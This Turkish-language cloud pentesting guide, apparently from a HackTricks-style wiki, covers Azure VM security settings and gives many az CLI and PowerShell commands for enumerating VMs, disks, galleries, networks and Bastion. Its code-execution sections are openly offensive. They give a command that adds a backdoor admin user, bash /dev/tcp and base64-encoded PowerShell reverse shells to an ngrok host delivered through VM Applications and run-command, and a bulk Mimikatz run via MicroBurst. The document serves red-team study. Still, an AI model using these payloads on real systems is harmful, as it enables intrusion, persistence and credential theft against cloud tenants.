Azure ağları farklı varlıklar ve yapılandırma yolları içerir. Farklı Azure ağ varlıklarının kısa tanımları,örnekleri ve numaralandırma komutlarını bulabilirsiniz:
Azure Sanal Makineleri (VM'ler), Windows veya Linux işletim sistemlerini çalıştırmanıza olanak tanıyan esnek, talep üzerine bulut tabanlı sunuculardır. Fiziksel donanım yönetmeden uygulamaları ve iş yüklerini dağıtmanıza olanak tanır. Azure VM'leri, belirli ihtiyaçları karşılamak ve sanal ağlar, depolama ve güvenlik araçları gibi Azure hizmetleriyle entegre olmak için çeşitli CPU, bellek ve depolama seçenekleriyle yapılandırılabilir.
Güvenlik Yapılandırmaları
Kullanılabilirlik Alanları: Kullanılabilirlik alanları, belirli bir Azure bölgesindeki fiziksel olarak ayrılmış veri merkezi gruplarıdır ve yerel kesintiler veya felaketlerden birden fazla alanın etkilenme riskini en aza indirmek için tasarlanmıştır.
Güvenlik Türü:
Standart Güvenlik: Bu, herhangi bir özel yapılandırma gerektirmeyen varsayılan güvenlik türüdür.
Güvenilir Başlatma: Bu güvenlik türü, Secure Boot ve Sanal Güvenilir Platform Modülü (vTPM) kullanarak önyükleme kitleri ve çekirdek düzeyindeki kötü amaçlı yazılımlara karşı korumayı artırır.
Gizli VM'ler: Güvenilir başlatmanın üzerine, VM, hipervizör ve ana yönetim arasında donanım tabanlı izolasyon sunar, disk şifrelemesini geliştirir ve daha fazlası.
Kimlik Doğrulama: Varsayılan olarak yeni bir SSH anahtarı oluşturulur, ancak bir genel anahtar kullanmak veya önceki bir anahtarı ve varsayılan olarak azureuser olan kullanıcı adını kullanmak mümkündür. Ayrıca şifre kullanacak şekilde yapılandırmak da mümkündür.
VM disk şifrelemesi: Disk, varsayılan olarak platform yönetilen bir anahtar kullanılarak dinlenme durumunda şifrelenir.
Ana bilgisayarda Şifreleme'yi etkinleştirmek de mümkündür; burada veriler, depolama hizmetine gönderilmeden önce ana bilgisayarda şifrelenir ve ana bilgisayar ile depolama hizmeti arasında uçtan uca şifreleme sağlanır (docs).
NIC ağ güvenlik grubu:
Hiçbiri: Temelde her portu açar
Temel: HTTP (80), HTTPS (443), SSH (22), RDP (3389) gelen portlarını kolayca açar
Gelişmiş: Bir güvenlik grubu seçin
Yedekleme: Standart yedeklemeyi (günde bir) ve Gelişmiş (günde birden fazla) etkinleştirmek mümkündür.
Yamanın orkestrasyon seçenekleri: Bu, docs 'da açıklandığı gibi seçilen politikaya göre VM'lerde yamaların otomatik olarak uygulanmasını sağlar.
Uyarılar: VM'de bir şey olduğunda otomatik olarak e-posta veya mobil uygulama ile uyarı almak mümkündür. Varsayılan kurallar:
CPU Yüzdesi %80'den büyük
Kullanılabilir Bellek Baytları 1GB'den az
Veri Diskleri IOPS Tüketilen Yüzdesi %95'ten büyük
OS IOPS Tüketilen Yüzdesi %95'ten büyük
Toplam Ağ 500GB'den büyük
Toplam Ağ Çıkışı 200GB'den büyük
VmAvailabilityMetric 1'den az
Sağlık monitörü: Varsayılan olarak port 80'de HTTP protokolünü kontrol eder
Kilitleme: Bir VM'yi yalnızca okunabilir (ReadOnly kilidi) veya okunabilir ve güncellenebilir ancak silinemez (CanNotDelete kilidi) hale getirmek için kilitlemeyi sağlar.
Çoğu VM ile ilgili kaynaklar kilitleri de destekler; diskler, anlık görüntüler...
Kilitler kaynak grubu ve abonelik seviyelerinde de uygulanabilir.
Diskler & anlık görüntüler
2 veya daha fazla VM'ye bir disk eklemeyi etkinleştirmek mümkündür
Varsayılan olarak her disk şifrelenmiştir ve bir platform anahtarı ile korunmaktadır.
Anlık görüntülerde de aynı durum geçerlidir.
Varsayılan olarak, diskin tüm ağlardan paylaşılması mümkündür, ancak yalnızca belirli özel erişim ile tamamen devre dışı bırakılacak şekilde de kısıtlanabilir.
Anlık görüntülerde de aynı durum geçerlidir.
Diskin dışa aktarılması için bir SAS URI (maksimum 60 gün) oluşturmak mümkündür, bu da kimlik doğrulama gerektirip gerektirmeyecek şekilde yapılandırılabilir.
Anlık görüntülerde de aynı durum geçerlidir.
# List all disksazdisklist--outputtable# Get info about a diskazdiskshow--name<disk-name>--resource-group<rsc-group>
Görseller, Galeri Görselleri ve Geri Yükleme Noktaları
Bir VM görüntüsü, yeni bir sanal makine (VM) oluşturmak için gereken işletim sistemi, uygulama ayarları ve dosya sistemi içeren bir şablondur. Bir görüntü ile bir disk anlık görüntüsü arasındaki fark, bir disk anlık görüntüsünün yalnızca yedekleme veya sorun giderme için kullanılan, tek bir yönetilen diskin okunamayan, belirli bir zamandaki kopyası olmasıdır; oysa bir görüntü birden fazla diski içerebilir ve yeni VM'ler oluşturmak için bir şablon olarak hizmet vermek üzere tasarlanmıştır.
Görüntüler, Azure'un Görüntüler bölümü veya Azure hesap galerileri içinde yönetilebilir; bu, sürümler oluşturmayı ve görüntüyü tenantlar arası paylaşmayı veya hatta herkese açık hale getirmeyi sağlar.
Bir geri yükleme noktası, VM yapılandırmasını ve VM'ye bağlı olan tüm yönetilen disklerinbelirli bir zamandaki uygulama tutarlı anlık görüntülerini saklar. Bu, VM ile ilişkilidir ve amacı, o VM'yi o belirli zamandaki durumuna geri yükleyebilmektir.
# Shared Image Galleries | Compute Galleries## List all galleries and get info about oneazsiglist--outputtableazsigshow--gallery-name<name>--resource-group<rsc-group>## List all community galleriesazsiglist-community--outputtable## List galleries shaerd with meazsiglist-shared--location<location>--outputtable## List all image definitions in a gallery and get info about oneazsigimage-definitionlist--gallery-name<name>--resource-group<rsc-group>--outputtableazsigimage-definitionshow--gallery-image-definition<name>--gallery-name<gallery-name>--resource-group<rsc-group>## List all the versions of an image definition in a galleryazsigimage-versionlist--gallery-image-name<image-name>--gallery-name<gallery-name>--resource-group<rsc-group--outputtable## List all VM applications inside a galleryazsiggallery-applicationlist--gallery-name<gallery-name>--resource-group<res-group>--outputtable# Images# List all managed images in your subscriptionazimagelist--outputtable# Restore points## List all restore points and get info about 1azrestore-pointcollectionlist-all--outputtableazrestore-pointcollectionshow--collection-name<collection-name>--resource-group<rsc-group>
Azure Site Recovery
docs sayfasından: Site Recovery, iş sürekliliğini sağlamak için iş uygulamalarını ve yüklerini kesintiler sırasında çalışır durumda tutmaya yardımcı olur. Site Recovery, fiziksel ve sanal makinelerde (VM'ler) çalışan yükleri birincil bir yerden ikincil bir yere çoğaltır. Bir kesinti meydana geldiğinde, birincil yerden ikincil bir yere geçiş yapar ve uygulamalara oradan erişirsiniz. Birincil yer tekrar çalışmaya başladığında, geri geçiş yapabilirsiniz.
Azure Bastion
Azure Bastion, sanal makinelerinize (VM'ler) Azure Portal üzerinden veya bir jump box aracılığıyla güvenli ve kesintisiz Remote Desktop Protocol (RDP) ve Secure Shell (SSH) erişimi sağlar. VM'lerinizde genel IP adreslerine ihtiyaç duymayı ortadan kaldırarak bunu gerçekleştirir.
Bastion, çalışması gereken VNet içinde /26 alt ağ maskesine sahip AzureBastionSubnet adında bir alt ağ dağıtır. Ardından, VM'lerin portlarını internete açmadan RDP ve SSH kullanarak tarayıcı üzerinden iç VM'lere bağlanmanıza olanak tanır. Ayrıca bir jump host olarak da çalışabilir.
Aboneliğinizdeki tüm Azure Bastion Host'larını listelemek ve bunlar aracılığıyla VM'lere bağlanmak için aşağıdaki komutları kullanabilirsiniz:
# List bastionsaznetworkbastionlist-otable# Connect via SSH through bastionaznetworkbastionssh \--name MyBastion \--resource-group MyResourceGroup \--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \--auth-type ssh-key \--username azureuser \--ssh-key ~/.ssh/id_rsa# Connect via RDP through bastionaznetworkbastionrdp \--name <BASTION_NAME> \--resource-group <RESOURCE_GROUP> \--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \--auth-type password \--username <VM_USERNAME> \--password <VM_PASSWORD>
Metadata
Azure Instance Metadata Service (IMDS) çalışan sanal makine örnekleri hakkında bilgi sağlar yönetim ve yapılandırmalarına yardımcı olmak için. SKU, depolama, ağ yapılandırmaları ve yaklaşan bakım olayları hakkında bilgiler gibi detaylar sunar REST API ile 169.254.169.254 adresinde bulunan yönlendirilemeyen IP adresi üzerinden, bu yalnızca VM içinden erişilebilir. VM ile IMDS arasındaki iletişim ana bilgisayar içinde kalır, güvenli erişimi sağlar. IMDS'yi sorgularken, VM içindeki HTTP istemcileri doğru iletişimi sağlamak için web proxy'lerini atlamalıdır.
Ayrıca, metadata uç noktasına ulaşmak için HTTP isteğinin Metadata: true başlığına sahip olması ve X-Forwarded-For başlığına sahip olmaması gerekir.
# VMs## List all VMs and get info about oneazvmlist--outputtableazvmshow--name<came>--resource-group<rsc-group>## List all available VM images and get info about oneazvmimagelist--all--outputtable# VM Extensions## List all VM extensionsazvmextensionimagelist--outputtable## Get extensions by publisherazvmextensionimagelist--publisher"Site24x7"--outputtable## List extensions in a VMazvmextensionlist-g<rsc-group>--vm-name<vm-name>## List managed identities in a VMazvmidentityshow \--resource-group <rsc-group> \--name <vm-name># Disks## List all disks and get info about oneazdisklist--outputtableazdiskshow--name<disk-name>--resource-group<rsc-group># Snapshots## List all galleries abd get info about oneazsiglist--outputtableazsigshow--gallery-name<name>--resource-group<rsc-group>## List all snapshots and get info about oneazsnapshotlist--outputtableazsnapshotshow--name<name>--resource-group<rsc-group># Shared Image Galleries | Compute Galleries## List all galleries and get info about oneazsiglist--outputtableazsigshow--gallery-name<name>--resource-group<rsc-group>## List all community galleriesazsiglist-community--outputtable## List galleries shared with meazsiglist-shared--location<location>--outputtable## List all image definitions in a gallery and get info about oneazsigimage-definitionlist--gallery-name<name>--resource-group<rsc-group>--outputtableazsigimage-definitionshow--gallery-image-definition<name>--gallery-name<gallery-name>--resource-group<rsc-group>## List all the versions of an image definition in a galleryazsigimage-versionlist--gallery-image-name<image-name>--gallery-name<gallery-name>--resource-group<rsc-group--outputtable## List all VM applications inside a galleryazsiggallery-applicationlist--gallery-name<gallery-name>--resource-group<res-group>--outputtable# Images# List all managed images in your subscriptionazimagelist--outputtable# Restore points## List all restore points and get info about 1azrestore-pointcollectionlist-all--outputtableazrestore-pointcollectionshow--collection-name<collection-name>--resource-group<rsc-group># Bastion## list all bastionsaznetworkbastionlist-otable# Network## List VNetsaznetworkvnetlist--query"[].{name:name, location:location, addressSpace:addressSpace}"## List subnets of a VNetaznetworkvnetsubnetlist--resource-group<ResourceGroupName>--vnet-name<VNetName>--query"[].{name:name, addressPrefix:addressPrefix}"-otable## List public IPsaznetworkpublic-iplist--outputtable## Get NSG rulesaznetworknsgrulelist--nsg-name<NSGName>--resource-group<ResourceGroupName>--query"[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}"-otable## Get NICs and subnets using this NSGaznetworknsgshow--nameMyLowCostVM-nsg--resource-groupResource_Group_1--query"{subnets: subnets, networkInterfaces: networkInterfaces}"## List all Nics & get info of a single oneaznetworkniclist--outputtableaznetworknicshow--name<name>--resource-group<rsc-group>## List Azure Firewallsaznetworkfirewalllist--query"[].{name:name, location:location, subnet:subnet, publicIp:publicIp}"-otable## Get network rules of a firewallaznetworkfirewallnetwork-rulecollectionlist--firewall-name<FirewallName>--resource-group<ResourceGroupName>--query"[].{name:name, rules:rules}"-otable## Get application rules of a firewallaznetworkfirewallapplication-rulecollectionlist--firewall-name<FirewallName>--resource-group<ResourceGroupName>--query"[].{name:name, rules:rules}"-otable## Get nat rules of a firewallaznetworkfirewallnat-rulecollectionlist--firewall-name<FirewallName>--resource-group<ResourceGroupName>--query"[].{name:name, rules:rules}"-otable## List Route Tablesaznetworkroute-tablelist--query"[].{name:name, resourceGroup:resourceGroup, location:location}"-otable## List routes for a tableaznetworkroute-tableroutelist--route-table-name<RouteTableName>--resource-group<ResourceGroupName>--query"[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}"-otable# Misc## List all virtual machine scale setsazvmsslist--outputtable## List all availability setsazvmavailability-setlist--outputtable## List all load balancersaznetworklblist--outputtable## List all storage accountsazstorageaccountlist--outputtable## List all custom script extensions on a specific VMazvmextensionlist--vm-name<vm-name>--resource-group<resource-group># Show boot diagnostics settings for a specific VMazvmboot-diagnosticsget-boot-log--name<vm-name>--resource-group<resource-group>## List all tags on virtual machinesazresourcelist--resource-type"Microsoft.Compute/virtualMachines"--query"[].{Name:name, Tags:tags}"--outputtable# List all available run commands for virtual machinesazvmrun-commandlist--outputtable
# Get readable VMsGet-AzVM| fl# Lis running VMsGet-AzureRmVM-status |where {$_.PowerState-EQ"VM running"} | select ResourceGroupName,NameGet-AzVM-Name <name>-ResourceGroupName <res_group_name>| fl *Get-AzVM-Name <name>-ResourceGroupName <res_group_name>| select -ExpandProperty NetworkProfile# Get iface and IP addressGet-AzNetworkInterface-Name <interface_name>Get-AzPublicIpAddress-Name <iface_public_ip_id>#Get installed extensionsGet-AzVMExtension-ResourceGroupName <res_group_name>-VMName <name>Get-AzVM| select -ExpandProperty NetworkProfile # Get name of network connector of VMGet-AzNetworkInterface-Name <name># Get info of network connector (like IP)
VMs'de Kod Çalıştırma
VM Uzantıları
Azure VM uzantıları, Azure sanal makinelerinde (VM'lerde) dağıtım sonrası yapılandırma ve otomasyon görevleri sağlayan küçük uygulamalardır.
Bu, VM'ler içinde rastgele kod çalıştırmayı mümkün kılar.
Gerekli izin Microsoft.Compute/virtualMachines/extensions/write'dir.
Tüm mevcut uzantıları listelemek mümkündür:
# It takes some mins to runazvmextensionimagelist--outputtable# Get extensions by publisherazvmextensionimagelist--publisher"Site24x7"--outputtable
Özel kod çalıştıran özel uzantılar çalıştırmak mümkündür:
Ayrıca şu gibi diğer yükleri de çalıştırabilirsiniz: powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add
VMAccess uzantısını kullanarak şifreyi sıfırlama
# Run VMAccess extension to reset the password$cred=Get-Credential# Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the passwordSet-AzVMAccessExtension-ResourceGroupName "<rsc-group>"-VMName "<vm-name>"-Name "myVMAccess"-Credential $cred
İlgili VM uzantıları
Gerekli izin hala Microsoft.Compute/virtualMachines/extensions/write.
VMAccess uzantısı
Bu uzantı, Windows VM'ler içindeki kullanıcıların şifresini değiştirmeye (veya yoksa oluşturmasına) olanak tanır.
# Run VMAccess extension to reset the password$cred=Get-Credential# Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the passwordSet-AzVMAccessExtension-ResourceGroupName "<rsc-group>"-VMName "<vm-name>"-Name "myVMAccess"-Credential $cred
DesiredConfigurationState (DSC)
Bu, Azure Windows VM'lerinin yapılandırmasını yönetmek için PowerShell DSC kullanan Microsoft'a ait bir VM uzantısıdır. Bu nedenle, bu uzantı aracılığıyla Windows VM'lerinde rastgele komutlar çalıştırmak için kullanılabilir:
Bu, otomasyon hesabından VM'lerde runbook'ları çalıştırmaya olanak tanıyan bir VM uzantısıdır. Daha fazla bilgi için Otomasyon Hesapları hizmetine bakın.
VM Uygulamaları
Bunlar, VM'lerde uygulamayı kolayca eklemek ve kaldırmak için kullanılabilecek tüm uygulama verileri ve yükleme ile kaldırma betikleri içeren paketlerdir.
# List all galleries in resource groupazsiglist--resource-group<res-group>--outputtable# List all apps in a falleryazsiggallery-applicationlist--gallery-name<gallery-name>--resource-group<res-group>--outputtable
Uygulamaların dosya sistemine indirildiği yollar şunlardır:
Bireysel uygulamaları ve galerileri diğer abonelikler veya kiracılar ile paylaşmak mümkündür. Bu, bir saldırganın bir uygulamaya arka kapı koymasına ve diğer aboneliklere ve kiracılara geçiş yapmasına olanak tanıyabileceği için oldukça ilginçtir.
Ancak vm uygulamaları için bir "pazar yeri" yoktur uzantılar için olduğu gibi.
# Create gallery (if the isn't any)azsigcreate--resource-groupmyResourceGroup \--gallery-name myGallery--location"West US 2"# Create application containerazsiggallery-applicationcreate \--application-name myReverseShellApp \--gallery-name myGallery \--resource-group <rsc-group> \--os-type Linux \--location "West US 2"# Create app version with the rev shell## In Package file link just add any link to a blobl storage fileazsiggallery-applicationversioncreate \--version-name 1.0.2 \--application-name myReverseShellApp \--gallery-name myGallery \--location "West US 2" \--resource-group <rsc-group> \--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"# Install the app in a VM to execute the rev shell## Use the ID given in the previous outputazvmapplicationset \--resource-group <rsc-group> \--name <vm-name> \--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \--treat-deployment-as-failure true
# Create gallery (if the isn't any)azsigcreate--resource-group<rsc-group> \--gallery-name myGallery--location"West US 2"# Create application containerazsiggallery-applicationcreate \--application-name myReverseShellAppWin \--gallery-name myGallery \--resource-group <rsc-group> \--os-type Windows \--location "West US 2"# Get encoded reverse shellecho -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
# Create app version with the rev shell## In Package file link just add any link to a blobl storage fileexport encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
azsiggallery-applicationversioncreate \--version-name 1.0.0 \--application-name myReverseShellAppWin \--gallery-name myGallery \--location "West US 2" \--resource-group <rsc-group> \--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \--install-command "powershell.exe -EncodedCommand $encodedCommand" \--remove-command "powershell.exe -EncodedCommand $encodedCommand" \--update-command "powershell.exe -EncodedCommand $encodedCommand"# Install the app in a VM to execute the rev shell## Use the ID given in the previous outputazvmapplicationset \--resource-group <rsc-group> \--name deleteme-win4 \--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \--treat-deployment-as-failure true
Kullanıcı verisi
Bu, herhangi bir zamanda meta veri uç noktasından alınabilen kalıcı veridir. Azure'da kullanıcı verisinin AWS ve GCP'den farklı olduğunu unutmayın çünkü buraya bir betik koyarsanız, varsayılan olarak çalıştırılmaz.
Özel veri
VM'ye bazı verilerin iletilmesi mümkündür ve bu veriler beklenen yollar içinde saklanır:
Windows'ta özel veri %SYSTEMDRIVE%\AzureData\CustomData.bin içinde ikili dosya olarak yer alır ve işlenmez.
Linux'ta /var/lib/waagent/ovf-env.xml içinde saklanıyordu ve şimdi /var/lib/waagent/CustomData/ovf-env.xml içinde saklanıyor.
Linux ajanı: Varsayılan olarak özel veriyi işlemez, verinin etkin olduğu özel bir imaj gereklidir.
cloud-init: Varsayılan olarak özel veriyi işler ve bu veri birçok formatta olabilir. Sadece özel veride betiği göndererek kolayca bir betik çalıştırabilir.
Hem Ubuntu hem de Debian'ın buraya koyduğunuz betiği çalıştırdığını denedim.
Bunun çalıştırılması için kullanıcı verisini etkinleştirmek de gerekmez.
#!/bin/shecho"Hello World">/var/tmp/output.txt
Komut Çalıştır
Bu, Azure'un VM'lerde rastgele komutlar çalıştırmak için sağladığı en temel mekanizmadır. Gerekli izin Microsoft.Compute/virtualMachines/runCommand/action'dır.
# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action# Execute a rev shellazvmrun-commandinvoke \--resource-group Research \--name juastavm \--command-id RunPowerShellScript \--scripts @revshell.ps1## Get encoded reverse shellecho -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
## Create app version with the rev shell## In Package file link just add any link to a blobl storage fileexport encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
# The content ofecho"powershell.exe -EncodedCommand $encodedCommand">revshell.ps1# Try to run in every machineImport-moduleMicroBurst.psm1Invoke-AzureRmVMBulkCMD-ScriptMimikatz.ps1-Verbose-outputOutput.txt